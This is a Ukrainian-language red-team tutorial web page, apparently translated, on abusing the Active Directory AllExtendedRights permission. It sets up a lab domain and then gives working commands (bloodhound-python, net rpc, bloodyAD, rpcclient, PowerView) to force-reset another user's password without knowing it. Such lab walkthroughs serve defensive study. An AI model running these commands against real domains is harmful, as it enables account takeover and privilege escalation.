_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/redteam/abusing_ad-dacl_allextendedrights // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#AD-DACL#PRIVILEGE ESCALATION#ACTIVE DIRECTORY
FILE_INFO_DECRYPTED
TRANSLATE: @exploit.com.ua

Зловживання AllExtendedRights в Active Directory представляє собою критичний вектор загроз, оскільки зловмисники можуть експлуатувати списки керування доступом (DACL) у корпоративних середовищах. У цьому дописі ми дослідимо, як дозвіл AllExtendedRights дозволяє атакуючим підвищувати привілеї, забезпечувати стійкість (persistence) у системі та потенційно захоплювати контроль над життєво важливими ресурсами каталогу — що зрештою стає вагомим плацдармом для компрометації всього домену.

Крім того, ми крок за кроком розберемо необхідне налаштування лабораторії для симуляції цих атак, використовуючи методи експлуатації, узгоджені з фреймворком MITRE ATT&CK. Також ми розглянемо стратегії виявлення підозрілої активності, пов’язаної з AllExtendedRights, і запропонуємо дієві методи мінімізації ризиків. Цей матеріал покликаний допомогти захисникам зрозуміти та протидіяти одній із найбільш прихованих форм зловживань в Active Directory. Як ви побачите далі, зловживання AllExtendedRights може тривалий час залишатися непоміченим, що робить своєчасне виявлення та запобігання надзвичайно важливими.

Зміст

  • Дозвіл AllExtendedRights
  • Передумови
  • Налаштування лабораторії – Користувач має дозвіл AllExtendedRights
  • Експлуатація – Користувач має дозвіл AllExtendedRights
  • Bloodhound – Пошук слабких дозволів
  • Метод експлуатації – Зміна пароля (T1110.001)
  • Linux Net RPC – Samba
  • Linux Net RPC – BloodAD
  • Linux Net RPC – Rpcclient
  • Windows PowerShell – Powerview

Дозвіл AllExtendedRights

Якщо говорити детальніше, розширені права (extended rights) — це спеціальні привілеї, які адміністратори призначають об’єктам, що дозволяє їм читати привілейовані атрибути та виконувати певні адміністративні дії.

Зокрема, цей дозвіл дає змогу зловмисникам скидати паролі на об’єктах користувачів (User objects) та готувати атаку Resource-Based Constrained Delegation (RBCD) для об’єктів комп’ютерів (Computer objects).

Як наслідок, коли доменний об’єкт має права AllExtendedRights на сам об’єкт домену і стає скомпрометованим, зловмисник отримує привілеї DS-Replication-Get-Changes та DS-Replication-Get-Changes-All. Ці права дозволяють нападнику реплікувати об’єкти каталогу з домену за допомогою техніки DCSync, що вкотре демонструє небезпеку, яку несе зловживання AllExtendedRights в Active Directory.

Передумови

  • Windows Server 2019 як контролер домену Active Directory.
  • Kali Linux
  • Інструменти: BloodHound, Net RPC, PowerView, BloodyAD.
  • Windows 10/11 — у якості клієнтської машини.

Налаштування лабораторії – Користувач має дозвіл AllExtendedRights

Для початку, у цій лабораторній роботі ми створимо двох користувачів — Kavish та Geet — і призначимо користувачу Geet дозвіл «AllExtendedRights» на об’єкт користувача Kavish.

Створення середовища AD:

Для симуляції середовища Active Directory вам спочатку знадобиться Windows Server, налаштований як контролер домену (DC). Крім того, знадобиться клієнтська машина (Windows або Linux), з якої ви зможете запускати інструменти для перерахування (enumeration) та експлуатації.

Контролер домену (Domain Controller):
  • Спочатку встановіть Windows Server (рекомендується 2016 або 2019).
  • Далі підвищте роль сервера до контролера домену, додавши роль Active Directory Domain Services.
  • Нарешті, налаштуйте домен (наприклад, ignite.local).
Облікові записи користувачів:
  • Створіть два облікові записи користувачів AD з іменами Kavish та Geet.
net user kavish Password@1 /add /domain
net user geet Password@1 /add /domain

Призначення привілею «AllExtendedRights» користувачу Geet над користувачем Kavish:**

Після налаштування середовища AD необхідно призначити привілей «AllExtendedRights» користувачу Geet для об’єкта Kavish.

Кроки:

  • По-перше, відкрийте Active Directory Users and Computers (ADUC) на контролері домену.
  • Потім увімкніть режим розширених функцій, натиснувши View > Advanced Features.
  • Знайдіть користувача Kavish у контейнері Users.
  • Натисніть правою кнопкою миші на користувача Kavish і перейдіть у Properties (Властивості).

                 AllExtendedRights Active Directory Abuse

  • Перейдіть на вкладку Security (Безпека) і натисніть кнопку Add (Додати).

               

  • У полі «Enter the object name to select» введіть Geet, натисніть Check Names, а потім — OK.

                AllExtendedRights Active Directory Abuse

  • Виберіть користувача Geet у списку та натисніть кнопку Advanced (Додатково).

               

  • У вікні Advanced security settings (Додаткові параметри безпеки) двічі клацніть на запис дозволів для користувача Geet.

               

  • У розділі Permissions (Дозволи) позначте пункт All Extended Rights. 

  • Нарешті, застосуйте налаштування.

                AllExtendedRights Active Directory Abuse

Тепер Geet має дозвіл AllExtendedRights для користувача Kavish. Це означає, що Geet може змінити пароль облікового запису Kavish, не знаючи його поточного пароля.

Експлуатація

Bloodhound – Пошук слабких дозволів

Використання BloodHound для підтвердження привілеїв: Ви можете скористатися BloodHound, щоб переконатися, що Geet дійсно має дозвіл AllExtendedRights щодо користувача Kavish.

bloodhound-python -u geet -p Password@1 -ns 192.168.1.8 -d ignite.local -c All

На основі графічного представлення Bloodhound тестувальник хоче ідентифікувати вихідні об’єкти керування (outbound object control) для обраного користувача, де значення прямого керування (first degree object control) дорівнює 1.

AllExtendedRights Active Directory Abuse

У результаті інструмент підтверджує, що користувач Geet володіє привілеєм AllExtendedRights над користувачем Kavish.

Метод експлуатації – Зміна пароля (T1110.001)

Тестувальник може використати дозвіл AllExtendedRights, змінивши пароль користувача Kavish, не знаючи його поточного пароля.

Linux Net RPC – Samba

Ви можете виконати цю дію з UNIX-подібної системи, використовуючи net — інструмент для адміністрування Samba та CIFS/SMB клієнтів.

net rpc password kavish 'Password@987' -U ignite.local/geet%'Password@1' -S 192.168.1.8

AllExtendedRights Active Directory Abuse

Linux Bloody AD

Альтернативно, ви можете досягти того ж результату за допомогою bloodyAD:

bloodyAD --host "192.168.1.8" -d "ignite.local" -u "geet" -p "Password@1" set password "kavish" "Password@987"

Linux Net RPC – Rpcclient

Rpcclient також можна використовувати в UNIX-подібних системах, якщо пакет samba-common-bin відсутній.

rpcclient -U ignite.local/geet 192.168.1.8
setuserinfo kavish 23 Ignite@987

Windows PowerShell – Powerview

Зловмисник може змінити пароль користувача за допомогою модуля PowerView. Це можна зробити не тільки за допомогою командлета Set-DomainUserPassword.

powershell -ep bypass
Import-Module .PowerView.ps1
$NewPassword = ConvertTo-SecureString 'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'kavish' -AccountPassword $NewPassword

AllExtendedRights Active Directory Abuse

Це також можна виконати в режимі verbose (детальному), щоб бачити хід виконання:

Set-DomainUserPassword -Identity 'kavish' -Verbose

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...